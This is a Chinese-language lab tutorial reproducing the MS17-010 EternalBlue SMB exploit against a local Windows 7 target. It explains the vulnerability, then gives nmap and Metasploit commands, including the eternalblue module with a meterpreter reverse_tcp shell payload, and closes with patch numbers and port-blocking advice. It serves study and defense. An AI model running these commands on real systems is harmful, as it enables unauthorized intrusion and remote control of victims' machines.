声明
本篇文章仅用于技术研究与技术学习,切勿用于非授权下攻击行为,切记!
前言
Windows7 存在 MS17-010 永恒之蓝(远程溢出漏洞) ,该漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码
一、漏洞原理简述
MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数 srv!SrvOs2FeaListToNt 在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt 去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
二、漏洞代码深层解析
参考如下文章对Windows7 MS17-010 永恒之蓝漏洞做了详细的解析,代码层面的漏洞产生方式
https://blogs.360.net/post/nsa-eternalblue-smb.html#toc-772
https://blog.csdn.net/qq_27446553/article/details/73480807
三、实验步骤
本地测试
- 攻击机:KALI Linux (192.168.52.129)
- 靶机:Windows 7 x64 (192.168.52.x)
使用 nmap 进行本地存活主机探测
nmap -T4 -sC -sV 192.168.52.0/24
发现该主机开放445端口,并且还是一个Windows 7 Professional 操作系统
使用 MetaSploit 工具对目标进行检测
search ms17_010 //搜索MS17_010利用模块
首先,对目标主机进行漏洞探测
模块一:
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.131
exploit
模块二:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.131
exploit
由上述测试结果,发现目标主机存在 MS17-010 漏洞,接下来使用 exploit 模块进行攻击利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.131
exploit
至此,MS17-010 漏洞利用完成?
对于主机存活探测,可使用msf的模块进行扫描
use auxiliary/scanner/discovery/udp_sweep
set rhosts 1921.68.52.1-192.168.52.254
exploit
四、漏洞补丁
使用如下网站提供对应补丁编号进行下载修复
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012215/KB4012212
添加系统的入站规则;关闭 445、135、138、139 等端口
总结
该漏洞利用风险极高,对于使用Windows 7 系统用户及时更新系统补丁,以免造成不必要的影响。
此漏洞涉及到SMB服务,对SMB有兴趣研究的可以参考这篇文章 –>https://www.cnblogs.com/aisa/p/8624720.html
|